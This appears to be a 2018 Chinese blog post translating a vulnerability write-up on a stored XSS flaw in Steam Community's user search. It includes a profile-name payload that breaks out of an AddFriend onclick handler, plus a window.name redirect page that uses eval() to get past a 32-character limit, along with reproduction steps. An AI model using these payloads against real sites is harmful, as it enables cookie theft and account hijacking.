A-A+

[自译]steam 某站的XSS漏洞长度绕过限制实现攻击

2018年06月07日 20:46 漏洞安全 评论 1 条 共2784字 (阅读2,757 views次)

【注意:此文章为博主原创文章!转载需注意,请带原文链接,至少也要是txt格式!】

所有加密文章都是博主原创或精心收集或自行翻译国外的等较高质量的文章,每篇文章都会含有一些较为不错的知识点。但是请注意,加密文章如果你想查看,那么需要你用比较有质量的文章来和博主做交换,或者投稿。当然除了以上两种方式之外你也可以考虑付一些报酬来查看文章。这里的每篇文章博主都会亲自归纳知识点,都会让你不虚此行。

蜗居

蜗居

首先问题有几处必要的点:

第一、必须要用户登录。

第二、转到个人资料编辑页面 https://steamcommunity.com/profiles/PROFILE_NUMBER/edit

第三、编辑资料“Profile Name”处更改为攻击代码。例如:“ NAME”); alert(document.cookie +' “,没有最外面的双引号

第四、使用另一个浏览器或者清空登录的状态。然后用另一个账户查找这个已经被修改的有问题的账户。

第五、在这个URL里面查找。地址:https://steamcommunity.com/search/users/#text=

第六、搜索攻击帐号“ NAME”); alert(document.cookie +' “,不带最外面的双引号

第七、点击个人资料名称旁边的“添加为朋友”按钮

第八、验证点击按钮则会触发弹窗警告。

在这里出现的原因:

在用户搜索html中的以下代码行以及函数调用可以被转义的事实上,所有的攻击都在AddFriend函数调用上达到目的。有效负载是“ NAME”);alert(document.cookie +' “,没有最外面的引号。

1
2
3
<a href="#" onclick="AddFriend(false,'PROFILE_NUMBER','NAME'); alert(document.cookie+''); $J(this).hide(); return false;" class="btnv6_blue_hoverfade btn_small btn_uppercase" style="display: none;">
    <span>Add as friend</span>
</a>

影响就不说了。正常的XSS问题影响。

此处XSS的限制:

这个XSS攻击的地方只能输入32个字符,而且还必须要对方点击按钮才能触发。

32个字符的绕过方式:

攻击者可以通过利用重定向html页面,通过简单而有效的方式绕过32个字符的字符长度限制:

1
2
3
4
5
6
7
8
9
10
11
<!DOCTYPE html>
<html>
    <body>
        <script>
            // Setting payload
            window.name ="console.log('This is console logging cookie: ' + document.cookie); alert('This is alert dialog with cookie: ' + document.cookie);";
            // Redirecting...
            window.location.replace("https://steamcommunity.com/search/users/#text=NAME'); eval(event.view.name");
        </script>
    </body>
</html>

当受害者浏览器打开重定向页面时(我想到“嘿,给我发送朋友请求在Steam上,这是一个链接,我的帐户是最上面的”-pretext *),它将实际的攻击代码持久存储到窗口中。名称属性,并着手将受害者重定向到Steam社区用户搜索。当受害者按下ADD AS FRIEND按钮时,通过调用JavaScript eval()函数来检索和执行有效内容(使用window.name属性)(由于我们触发了onclick事件,现在反映到event.view.name)它现在被注入到AddFriend()函数中。

图片:在AddFriend()函数中注入的脚本 - 函数

图片:通过eval()执行的脚本 利用javascript eval()函数是有可能的,因为Steam社区站点指示关于脚本的内容安全策略“unsafe-eval”。

重现步骤:

或者:
一、登录自己账户。让自己作为攻击者。
二、访问个人资料修改处:https://steamcommunity.com/profiles/PROFILE_NUMBER/edit
三、编辑资料“Profile Name” 放入攻击代码(例如“ NAME“); eval(event.view.name +' ”,没有最外面的双引号)保存编辑的配置文件
四、把构造好的攻击页面放入自己的博客或者网站中。更改这个构造好的代码改为正确的Steam社区用户搜索网址。
五、使用另一个浏览器,登录一个全新的账户。然后访问这个构造好的URL地址的攻击页面。
六、它会自动重定向到html页面里面构造好的地址。
七、点击搜索出的好友名称旁边的“ 添加为朋友 ”按钮
八、点击后就会在控制台显示log日志,同时弹窗。

要么:
一、获取一个他人的账户。登录受害者的账户。
二、访问构造好的攻击页面。(此处可能是一个CSRF,修改个人资料,然后+上面构造的跳转到搜索攻击者页面的代码)
三、点击搜索出的好友名称旁边的“ 添加为朋友 ”按钮
四、点击后就会在控制台显示log日志,同时弹窗。

--------下面的直接用的软件翻译的,太累了。-----------------
最终绕过32个字符的限制相当容易,并且可能会将有限的覆盖跨站点脚本漏洞升级为更为危险的半全面存储的跨站脚本漏洞,并且会导致更严重的后果利用。幸运的是,就我看来,为了实现完全效果,潜在攻击者必须引诱受害者执行步骤(打开链接并希望成为朋友)。不幸的是,事件序列的必要性在网络行为的规范之内,因此攻击很容易执行。

最严重的XSS攻击涉及泄露用户的会话cookie,允许攻击者劫持用户的会话并接管该帐户。其他破坏性攻击包括披露最终用户文件,安装特洛伊木马程序,将用户重定向到其他页面或站点,或修改内容的显示。

其实这篇文章的整体思路与:https://woj.app/2041.html 这个类似了。

只有以诚相待,才会不虚此行。

布施恩德可便相知重

微信扫一扫打赏

支付宝扫一扫打赏

×

1 条留言  访客:1 条  博主:0 条

  1. gdd

    试试留言功能。

给我留言